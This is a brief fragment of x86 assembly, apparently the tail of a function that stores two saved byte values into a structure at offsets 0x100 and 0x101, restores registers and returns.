mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret